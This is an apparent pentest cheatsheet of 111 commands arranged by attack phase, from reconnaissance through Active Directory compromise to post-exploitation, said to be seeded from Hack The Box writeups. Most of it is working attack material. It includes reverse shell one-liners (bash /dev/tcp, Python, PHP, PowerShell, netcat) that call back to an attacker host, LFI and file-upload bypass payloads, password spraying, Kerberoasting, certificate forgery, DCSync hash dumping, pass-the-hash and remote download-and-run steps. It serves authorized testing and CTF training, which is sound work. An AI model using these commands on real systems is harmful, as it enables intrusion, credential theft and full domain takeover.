// Pentest Cheatsheet

111 commands organized by attack phase — from initial recon through post-exploitation. Seeded from real HTB writeups.

111 entries · 6 phases
Phase 1

Reconnaissance

Map the attack surface before touching anything. Ports, services, DNS, web directories.

Port Scanning

Full scan — all ports, versions, default scripts

nmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt {TARGET}

Best first scan. -oN saves output. Takes ~2 min on HTB.

Quick scan — top 1000 ports

nmap -sV -sC --min-rate 5000 -oN nmap_quick.txt {TARGET}

Run this first while the full scan runs in background.

UDP scan — top 200 ports

nmap -sU --top-ports 200 -oN nmap_udp.txt {TARGET}

Slow but catches SNMP (161), TFTP (69), DNS (53).

Targeted scripts on open ports

nmap --script vuln,safe -p {PORTS} -oN nmap_scripts.txt {TARGET}

Run after identifying open ports.

SMB-specific scripts

nmap --script smb-enum-shares,smb-enum-users,smb-vuln-ms17-010 -p 445 {TARGET}

Web Enumeration

Directory brute-force

gobuster dir -u http://{TARGET}/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt,bak -o gobuster.txt

Add -k to ignore SSL errors. Add -b 403,404 to filter noise.

Fast directory brute-force

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://{TARGET}/FUZZ -o ffuf.txt -of md

Add -fs {SIZE} to filter by response size.

Virtual host brute-force

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://{TARGET}/ -H "Host: FUZZ.{DOMAIN}" -fs {SIZE}

Find the right -fs value from a known-bad response first.

Recursive directory scan

feroxbuster --url http://{TARGET} -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --depth 3 -x php,html -o ferox.txt

Parameter discovery

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://{TARGET}/page?FUZZ=test" -fs {SIZE}

Technology fingerprinting

whatweb -v http://{TARGET}

Identifies CMS, frameworks, server version.

DNS

Zone transfer — dump all records

dig axfr {DOMAIN} @{TARGET}

Works when zone transfer is misconfigured. Reveals all subdomains.

Subdomain brute-force

gobuster dns -d {DOMAIN} -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r {TARGET}

All DNS records

dig any {DOMAIN} @{TARGET}

Reverse DNS lookup

dig -x {TARGET}

Reveals hostname from IP — sometimes leaks internal domain names.

Phase 2

Service Enumeration

Deep-dive into specific services. SMB, LDAP, RPC, databases, and protocols.

SMB Enumeration

List shares — null/anonymous session

smbclient -L //{TARGET} -N

-N means no password. Works when null sessions are allowed.

List shares — with credentials

smbclient -L //{TARGET} -U "{DOMAIN}\{USER}%{PASS}"

Connect and browse a share

smbclient //{TARGET}/{SHARE} -U "{USER}%{PASS}"

Use get {FILE} to download, ls to list, recurse + mget * to grab everything.

Enumerate shares, users, policies (NetExec)

netexec smb {TARGET} -u {USER} -p {PASS} --shares --users --pass-pol

RID brute-force — enumerate users without creds

netexec smb {TARGET} -u anonymous -p "" --rid-brute

Works against many AD environments with null session.

Spider and index all share contents

netexec smb {TARGET} -u {USER} -p {PASS} -M spider_plus -o OUTPUT_FOLDER=./smb_loot

Downloads a JSON index of everything readable on all shares.

Full enumeration (enum4linux)

enum4linux -a {TARGET}

Wraps smbclient, rpcclient, nmblookup into one output.

RPC

Open null session

rpcclient -U "" -N {TARGET}

Enumerate domain users

rpcclient -U "" -N {TARGET} -c "enumdomusers"

Get user details by RID

rpcclient -U "" -N {TARGET} -c "queryuser 0x{RID}"

Enumerate domain groups

rpcclient -U "" -N {TARGET} -c "enumdomgroups"

Get group members

rpcclient -U "" -N {TARGET} -c "querygroupmem 0x{RID}"

LDAP

Find the base DN

ldapsearch -H ldap://{TARGET} -x -s base namingcontexts

Always run this first to discover the domain base DN.

Enumerate all users

ldapsearch -H ldap://{TARGET} -x -b "DC={DOMAIN},DC={TLD}" "(objectClass=person)" sAMAccountName description memberOf

Look at the description field — passwords are often stored there.

Authenticated LDAP query

ldapsearch -H ldap://{TARGET} -x -D "{USER}@{DOMAIN}" -w {PASS} -b "DC={DOMAIN},DC={TLD}" "(objectClass=*)"

Find accounts with password in description

ldapsearch -H ldap://{TARGET} -x -b "DC={DOMAIN},DC={TLD}" "(description=*)" sAMAccountName description

Other Services

SNMP — enumerate with community string

snmpwalk -v2c -c public {TARGET}

Try: public, private, community, manager. Leaks users, processes, config.

SMTP — enumerate users

smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t {TARGET}

MySQL — login and enumerate

mysql -h {TARGET} -u {USER} -p{PASS} -e "show databases; use {DB}; show tables;"

MSSQL — login with impacket

impacket-mssqlclient {DOMAIN}/{USER}:{PASS}@{TARGET}

Add -windows-auth for domain accounts.

FTP — anonymous login

ftp {TARGET}

Try username: anonymous, password: (blank). Then ls -la and mget *.

Phase 3

Foothold

Get your first shell. Password attacks, web exploitation, and initial access techniques.

Password Attacks

SSH brute-force

hydra -l {USER} -P /usr/share/wordlists/rockyou.txt ssh://{TARGET} -t 4

-t 4 limits threads to avoid lockout. Use -L for a user list.

HTTP form brute-force

hydra -l {USER} -P /usr/share/wordlists/rockyou.txt {TARGET} http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

Adjust the form fields and failure string to match the target.

SMB password spray

netexec smb {TARGET} -u users.txt -p {PASS} --continue-on-success

Use one password at a time to avoid lockout. Ideal with domain userlist.

Kerbrute — user enumeration

kerbrute userenum --dc {TARGET} -d {DOMAIN} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Valid users return a pre-auth error, invalid ones get nothing.

Kerbrute — password spray

kerbrute passwordspray --dc {TARGET} -d {DOMAIN} users.txt "{PASS}"

Web Exploitation

SQLi — automated scan

sqlmap -u "http://{TARGET}/page?id=1" --dbs --batch

Add --cookie="session=..." for authenticated scans. Add --level=5 --risk=3 for deeper.

SQLi — dump specific table

sqlmap -u "http://{TARGET}/page?id=1" -D {DB} -T {TABLE} --dump --batch

LFI — test for path traversal

curl "http://{TARGET}/page?file=../../../../etc/passwd"

Try with and without URL encoding. Also try PHP wrappers: ?file=php://filter/...

LFI — PHP filter wrapper (read source)

curl "http://{TARGET}/page?file=php://filter/convert.base64-encode/resource={FILE}" | base64 -d

SSRF — probe internal services

curl "http://{TARGET}/fetch?url=http://127.0.0.1:{PORT}"

Iterate ports to find internal services. Try 80, 443, 8080, 8443, 6379, 3306.

File upload — bypass extension check

curl -F "file=@shell.php;filename=shell.php.jpg" http://{TARGET}/upload

Also try: shell.phtml, shell.php5, shell.phar, or adding null bytes.

Reverse Shells

Bash — TCP reverse shell

bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1

Bash — TCP (base64 encoded for injection)

echo "bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1" | base64 -w0

Decode + pipe to bash on target: echo {B64} | base64 -d | bash

Python 3 — reverse shell

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("{LHOST}",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

PHP — reverse shell (one-liner)

php -r '$sock=fsockopen("{LHOST}",{LPORT});exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell — reverse shell

powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('{LHOST}',{LPORT});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $data 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb3=([text.encoding]::ASCII).GetBytes($sb2);$stream.Write($sb3,0,$sb3.Length);$stream.Flush()};$client.Close()"

Netcat — reverse shell (with -e)

nc -e /bin/bash {LHOST} {LPORT}

Netcat — reverse shell (without -e)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {LHOST} {LPORT} >/tmp/f

Works on systems without -e support (OpenBSD netcat).

Shell Upgrade

Step 1 — Spawn PTY with Python

python3 -c 'import pty;pty.spawn("/bin/bash")'

Run this first inside your dumb shell.

Step 2 — Background and fix terminal

Ctrl+Z → stty raw -echo; fg → reset

stty raw -echo runs in YOUR local terminal, not the target.

Step 3 — Set environment

export TERM=xterm; export SHELL=bash

Script method (alternative)

script /dev/null -c bash

Simpler but may not fully fix arrow keys.

Phase 4

Active Directory

Kerberos attacks, BloodHound, AD CS exploitation, and lateral movement through the domain.

Kerberos Attacks

AS-REP Roasting — no pre-auth accounts

impacket-GetNPUsers {DOMAIN}/ -usersfile users.txt -no-pass -dc-ip {TARGET} -outputfile asrep_hashes.txt

Crack output with: hashcat -m 18200 asrep_hashes.txt rockyou.txt

Kerberoasting — SPN service ticket request

impacket-GetUserSPNs {DOMAIN}/{USER}:{PASS} -dc-ip {TARGET} -outputfile kerberoast_hashes.txt

Crack output with: hashcat -m 13100 kerberoast_hashes.txt rockyou.txt

Kerberoasting via NetExec

netexec ldap {TARGET} -u {USER} -p {PASS} --kerberoasting kerberoast.txt

BloodHound

Collect all data — password auth

bloodhound-python -c all -u {USER} -p {PASS} -d {DOMAIN} -dc {DC_HOSTNAME} -ns {TARGET}

Creates JSON files. Start neo4j, open BloodHound, then drag-drop the ZIPs.

Collect via Kerberos ticket

bloodhound-python -c all -u {USER} -k -d {DOMAIN} -ns {TARGET} --auth-method kerberos

Key BloodHound queries

MATCH (n:User {owned:true}) RETURN n | Shortest path to Domain Admin | Find all AS-REP Roastable users

Use the pre-built "Analysis" queries in BloodHound GUI before writing custom Cypher.

AD CS (Certificate Services)

Find vulnerable certificate templates

certipy-ad find -vulnerable -u {USER}@{DOMAIN} -p {PASS} -dc-ip {TARGET}

Look for ESC1–ESC8 vulnerabilities in the output.

ESC1 — request cert as another user

certipy-ad req -u {USER}@{DOMAIN} -p {PASS} -ca {CA_NAME} -template {TEMPLATE} -upn administrator@{DOMAIN} -dc-ip {TARGET}

Authenticate using certificate (get NTLM hash)

certipy-ad auth -pfx administrator.pfx -dc-ip {TARGET}

Outputs the NT hash for the account. Use with pass-the-hash.

Shadow credentials attack

certipy-ad shadow auto -username {USER}@{DOMAIN} -hashes :{HASH} -account {TARGET_USER} -dc-ip {TARGET}

Requires WriteProperty on the target account's msDS-KeyCredentialLink.

Forge golden certificate (ESC3/ESC6)

certipy-ad forge -ca-pfx ca.pfx -upn administrator@{DOMAIN} -subject "CN=Administrator,CN=Users,DC={DOMAIN},DC={TLD}" -out admin_forged.pfx

Lateral Movement

Evil-WinRM — remote shell (password)

evil-winrm -i {TARGET} -u {USER} -p {PASS}

WinRM must be enabled on target (port 5985/5986).

Evil-WinRM — remote shell (NTLM hash)

evil-winrm -i {TARGET} -u {USER} -H {NTLM_HASH}

PSExec — SYSTEM shell (hash)

impacket-psexec {DOMAIN}/administrator@{TARGET} -hashes :{NTLM_HASH}

WMIExec — shell without writing to disk

impacket-wmiexec {DOMAIN}/{USER}:{PASS}@{TARGET}

Pass-the-Ticket — inject TGT

impacket-ticketer -nthash {NTLM_HASH} -domain-sid {DOMAIN_SID} -domain {DOMAIN} administrator

Then: export KRB5CCNAME=administrator.ccache and use -k -no-pass with tools.

Domain Dominance

DCSync — replicate all hashes

impacket-secretsdump {DOMAIN}/{USER}:{PASS}@{TARGET}

Requires Replicating Directory Changes permissions (Domain Admin or delegated).

DCSync — from local NTDS.dit

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

After downloading NTDS.dit and SYSTEM hive from DC.

Pass-the-Hash — verify admin access

netexec smb {TARGET} -u administrator -H {NTLM_HASH}

Look for (Pwn3d!) in output confirming local admin.

Phase 5

Privilege Escalation

Escalate from low-privilege user to root or SYSTEM. Linux and Windows techniques.

Linux — Enumeration

LinPEAS — automated enumeration

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>&1 | tee linpeas.txt

Focus on yellow (interesting) and red (critical) findings.

Check sudo permissions

sudo -l

Check GTFOBins for anything listed. Even (ALL : ALL) NOPASSWD: /usr/bin/vim is exploitable.

Find SUID binaries

find / -perm -4000 -type f 2>/dev/null

Compare against GTFOBins: https://gtfobins.github.io/

Check capabilities

getcap -r / 2>/dev/null

cap_setuid+ep on python/perl/ruby = instant root.

Find writable files owned by root

find / -writable -user root -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

Check cron jobs

cat /etc/crontab; ls -la /etc/cron.*/

Look for writable scripts run as root.

Check running processes

ps auxwww | grep root

Find config files with passwords

grep -rlni 'password\|passwd\|secret\|key\|token' /etc /opt /var/www 2>/dev/null

Windows — Enumeration

WinPEAS — automated enumeration

.\winPEAS.exe quiet > winpeas.txt

Upload first. Use evil-winrm upload winPEAS.exe. Look for orange/red findings.

Check current privileges

whoami /priv

SeImpersonatePrivilege → GodPotato/PrintSpoofer. SeBackupPrivilege → NTDS dump.

Check group membership

whoami /groups

Backup Operators group = can dump NTDS.dit.

Find unquoted service paths

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

If path has spaces and no quotes, you can plant a binary.

Check AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both HKLM and HKCU return 1, you can install MSI as SYSTEM.

Find passwords in registry

reg query HKLM /f password /t REG_SZ /s

Stored credentials

cmdkey /list

Stored creds → runas /user:{USER} /savecred "{CMD}"

Phase 6

Post Exploitation

After you have a shell — transfer files, crack hashes, establish persistence, pivot.

File Transfer

Python HTTP server (on attacker)

python3 -m http.server 8080

Serve files from current directory. Target downloads with wget/curl.

Download on Linux target

wget http://{LHOST}:8080/{FILE} -O /tmp/{FILE}

Download on Windows target (PowerShell)

Invoke-WebRequest -Uri "http://{LHOST}:8080/{FILE}" -OutFile "C:\Temp\{FILE}"

Short form: iwr "http://{LHOST}:8080/{FILE}" -o C:\Temp\{FILE}

Download on Windows target (certutil)

certutil -urlcache -split -f "http://{LHOST}:8080/{FILE}" C:\Temp\{FILE}

Works when PowerShell is restricted.

SMB share for transfer (on attacker)

impacket-smbserver share . -smb2support -username {USER} -password {PASS}

Then on Windows: copy \\{LHOST}\share\{FILE} C:\Temp\

Evil-WinRM upload/download

upload /path/to/local/file.exe C:\Temp\file.exe download C:\path\to\remote\file

Only works inside an evil-winrm session.

Hash Cracking

NTLM hash (-m 1000)

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -O

NTLMv2 / Net-NTLMv2 (-m 5600)

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -O

Kerberoast ticket (-m 13100)

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -O

AS-REP Roast hash (-m 18200)

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -O

With rules (better coverage)

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -O

John — auto-detect and crack

john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt && john hashes.txt --show

John — SSH private key

ssh2john id_rsa > id_rsa.hash && john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

Tunneling & Pivoting

Chisel — SOCKS5 proxy (attacker server)

chisel server --reverse --port 5000

Chisel — SOCKS5 proxy (victim client)

.\chisel.exe client {LHOST}:5000 R:socks

Creates SOCKS5 proxy on 127.0.0.1:1080. Use with proxychains.

Chisel — port forward

.\chisel.exe client {LHOST}:5000 R:{LPORT}:127.0.0.1:{RPORT}

Expose a specific internal port on your local machine.

SSH — dynamic SOCKS proxy

ssh -D 1080 -N {USER}@{TARGET}

Creates SOCKS5 on port 1080. Use with proxychains.

SSH — local port forward

ssh -L {LPORT}:{INTERNAL_HOST}:{RPORT} {USER}@{TARGET} -N

Access internal service at localhost:{LPORT}.

Proxychains — route tools through SOCKS

proxychains4 -q nmap -sT -Pn {INTERNAL_TARGET}

Edit /etc/proxychains4.conf: add socks5 127.0.0.1 1080 at the bottom.